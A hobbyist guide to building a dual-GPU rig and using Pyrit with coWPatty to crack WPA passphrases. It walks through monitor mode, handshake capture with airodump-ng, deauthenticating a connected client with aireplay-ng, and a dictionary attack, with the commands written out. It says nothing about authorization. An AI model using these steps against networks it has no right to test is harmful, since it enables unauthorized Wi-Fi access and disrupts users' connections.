The first decision is to decide what you want your setup to be. I personally chose to go with a setup using GeForce card with CUDA support (http://www.nvidia.com/object/cuda_learn_products.html ). You will need to check on the programs you want to use to make sure that they support the graphics card that you choose.

The setup I ultimately decided going with is an EVGA 780i motherboard that has dual SLI support (can support tri SLI). I ended up going with two GeForce GTX260 cards to utilize the SLI capability. I also upgraded my power supply to a Corsair 850W to power everything in my machine.

After building the setup, feel free to go play some games, then come back to this guide. I mean you have work to do!

The BackTrack 4 Pre-Release is a perfect platform for you to have some fun with your new setup. For a guide on configuring Backtrack 4 with CUDA and a in depth tutorial on CUDA tools, check out this 25 page guide on it by Pureh@te on the offensive-security website.

Finally lets take a look at my favorite GPU tool Pyrit, which will allow you to run a pass-through dictionary attack against WPA encryption (http://code.google.com/p/pyrit/) running it through coWPatty (http://www.willhackforsushi.com/Cowpatty.html).

Using this you can take a capture file with a WPA 4-way handshake and do a pass-through to try to crack it with your dictionary using coWPatty. Make sure you use a dictionary with words in length starting from 8 and ending in 63 letters long. Any longer or shorter is just a waste because of the requirements of WPA passphrase’s. One thing to keep in mind is that to be able to crack the passphrase you must have the passphrase in your dictionary file.

The first step will be to put your card into monitor mode. After that, fire up airodump. I happen to know the router BSSID and channel so here is what I did below.

airodump-ng -c (routers channel) – - bssid (routers bssid) -w (cap filename) interface

Airodump will then load up as shown below. You can see the router and data coming from it. You can see a client is connected, which is important since you will need to get the 4-way handshake to crack the WPA passphrase.

Next it is time to send a de-authentication packet to the client to make it reconnect to the router allowing you to grab that 4-way handshake.

Aireplay-ng -0 (de-authentication attack) 5 (number of de-authentication packets to send) -a (router bssid) -c (client essid) interface

If all goes well, you will see in your airodump window in top right corner showing you have received a WPA handshake. I have circled it in red below. If you don’t see this just repeat the last step and de-authenticate the client again.

After that I like to make sure that my graphic cards are working properly. You can either run a benchmark or list cores in pyrit. In the below picture I show the benchmark option

To run benchmark: pyrit benchmark

To list cores: pyrit list_cores

Below is the command for running pyrit in a pass-through mode through coWPatty. The great thing about this is you can run it with your dictionary file and not mess around with making a rainbow table or anything. If you do not have a dictionary file for WPA, you can grab one from the backtrack repository. Command is as follows for the pass-through mode.

pyrit -e (router essid) -f (path to the dictionary file) passthrough | (path to coWPatty) -d – -s (router essid) -r (name of capture file)

Note: I had installed the latest version of coWPatty manually. The default location you would put after the pipe (|) in backtrack would be /pentest/wireless/cowpatty/cowpatty

If all goes well you well, you will start to see it go through passphrases in your dictionary file as shown below.

And if all goes well in the end, you will end up with a passphrase as shown below.

It was able to run 15,479.28 passphrases per second, which is an amazing upgrade from the 300 something I was getting with my 2.0 GHz dual core processor. This is also using the stock graphic cards that are not over-clocked.

Credits:

Tools used:

Backtrack – http://www.remote-exploit.org/backtrack.html

Pyrit- http://code.google.com/p/pyrit/

Cowpatty- http://www.willhackforsushi.com/Cowpatty.html

Special thanks to Pureh@te /Offensive Security for the great guide on getting graphic cards set up in backtrack – http://www.offensive-security.com/documentation/backtrack-4-cuda-guide.pdf